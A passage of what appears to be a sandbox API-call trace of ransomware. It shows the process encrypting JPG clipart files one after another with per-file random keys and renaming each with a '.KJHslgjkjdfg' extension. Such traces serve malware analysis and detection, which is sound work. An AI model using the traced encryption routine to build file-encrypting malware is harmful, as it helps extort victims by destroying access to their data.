hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.911] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x29d0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x29d0, lpOverlapped=0x0) returned 1 [0182.911] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0182.911] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2aa4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.911] SetEndOfFile (hFile=0x114) returned 1 [0182.913] GetProcessHeap () returned 0x2a0000 [0182.913] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0182.913] GetProcessHeap () returned 0x2a0000 [0182.913] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0182.913] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309480.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309480.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309480.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309480.jpg.kjhslgjkjdfg")) returned 1 [0182.915] CloseHandle (hObject=0x114) returned 1 [0182.915] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66162910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x544c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0309567.JPG", cAlternateFileName="")) returned 1 [0182.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309567.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309567.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0182.917] GetProcessHeap () returned 0x2a0000 [0182.917] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0182.917] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0182.917] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0182.917] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0182.921] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0182.921] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0182.921] GetProcessHeap () returned 0x2a0000 [0182.921] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0182.921] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0182.921] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0182.921] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0182.922] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0182.922] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0182.922] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0182.922] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0182.922] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0182.922] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0182.922] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0182.922] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.922] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x544c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x544c, lpOverlapped=0x0) returned 1 [0182.923] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5450, dwBufLen=0x5450 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5450) returned 1 [0182.923] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.923] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5450, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x5450, lpOverlapped=0x0) returned 1 [0182.923] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0182.923] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x5524, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.923] SetEndOfFile (hFile=0x114) returned 1 [0182.925] GetProcessHeap () returned 0x2a0000 [0182.925] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0182.926] GetProcessHeap () returned 0x2a0000 [0182.926] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0182.926] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309567.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309567.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309567.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309567.jpg.kjhslgjkjdfg")) returned 1 [0182.927] CloseHandle (hObject=0x114) returned 1 [0182.927] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9a8b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0309585.JPG", cAlternateFileName="")) returned 1 [0182.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309585.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309585.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0182.928] GetProcessHeap () returned 0x2a0000 [0182.928] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0182.928] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0182.928] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0182.928] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x5, lpOverlapped=0x0) returned 1 [0182.930] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0182.930] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0182.930] GetProcessHeap () returned 0x2a0000 [0182.930] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0182.930] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0182.930] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0182.930] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0182.931] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0182.931] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0182.931] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0182.931] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0182.931] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0182.931] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0182.931] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0182.931] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.931] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x9a8b, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x9a8b, lpOverlapped=0x0) returned 1 [0182.936] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x9a90, dwBufLen=0x9a90 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x9a90) returned 1 [0182.936] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.936] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x9a90, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x9a90, lpOverlapped=0x0) returned 1 [0182.937] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0182.937] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x9b64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.937] SetEndOfFile (hFile=0x114) returned 1 [0182.939] GetProcessHeap () returned 0x2a0000 [0182.939] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0182.939] GetProcessHeap () returned 0x2a0000 [0182.939] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0182.939] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309585.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309585.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309585.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309585.jpg.kjhslgjkjdfg")) returned 1 [0182.941] CloseHandle (hObject=0x114) returned 1 [0182.941] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x81f0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0309598.JPG", cAlternateFileName="")) returned 1 [0182.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309598.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309598.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0182.941] GetProcessHeap () returned 0x2a0000 [0182.941] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0182.942] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0182.942] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0182.942] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0182.942] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0182.942] GetProcessHeap () returned 0x2a0000 [0182.942] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0182.942] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0182.942] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0182.942] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0182.944] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0182.944] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0182.944] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0182.944] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0182.944] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0182.944] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0182.944] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0182.944] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.944] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x81f0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x81f0, lpOverlapped=0x0) returned 1 [0182.945] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x81f0, dwBufLen=0x81f0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x81f0) returned 1 [0182.946] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.946] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x81f0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x81f0, lpOverlapped=0x0) returned 1 [0182.946] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0182.946] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x82c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.946] SetEndOfFile (hFile=0x114) returned 1 [0182.948] GetProcessHeap () returned 0x2a0000 [0182.948] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0182.948] GetProcessHeap () returned 0x2a0000 [0182.948] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0182.949] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309598.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309598.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309598.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309598.jpg.kjhslgjkjdfg")) returned 1 [0182.950] CloseHandle (hObject=0x114) returned 1 [0182.950] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaabb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0309664.JPG", cAlternateFileName="")) returned 1 [0182.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309664.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309664.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0182.952] GetProcessHeap () returned 0x2a0000 [0182.952] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0182.952] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0182.952] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0182.952] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x5, lpOverlapped=0x0) returned 1 [0182.955] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0182.955] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0182.955] GetProcessHeap () returned 0x2a0000 [0182.955] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0182.955] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0182.956] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0182.956] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0182.956] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0182.956] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0182.956] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0182.956] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0182.956] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0182.956] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0182.956] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0182.956] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.956] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xaabb, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xaabb, lpOverlapped=0x0) returned 1 [0182.958] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xaac0, dwBufLen=0xaac0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xaac0) returned 1 [0182.958] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.958] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xaac0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xaac0, lpOverlapped=0x0) returned 1 [0182.958] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0182.958] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xab94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.958] SetEndOfFile (hFile=0x114) returned 1 [0182.961] GetProcessHeap () returned 0x2a0000 [0182.961] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0182.961] GetProcessHeap () returned 0x2a0000 [0182.961] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0182.961] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309664.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309664.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309664.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309664.jpg.kjhslgjkjdfg")) returned 1 [0182.962] CloseHandle (hObject=0x114) returned 1 [0182.962] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66162910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, 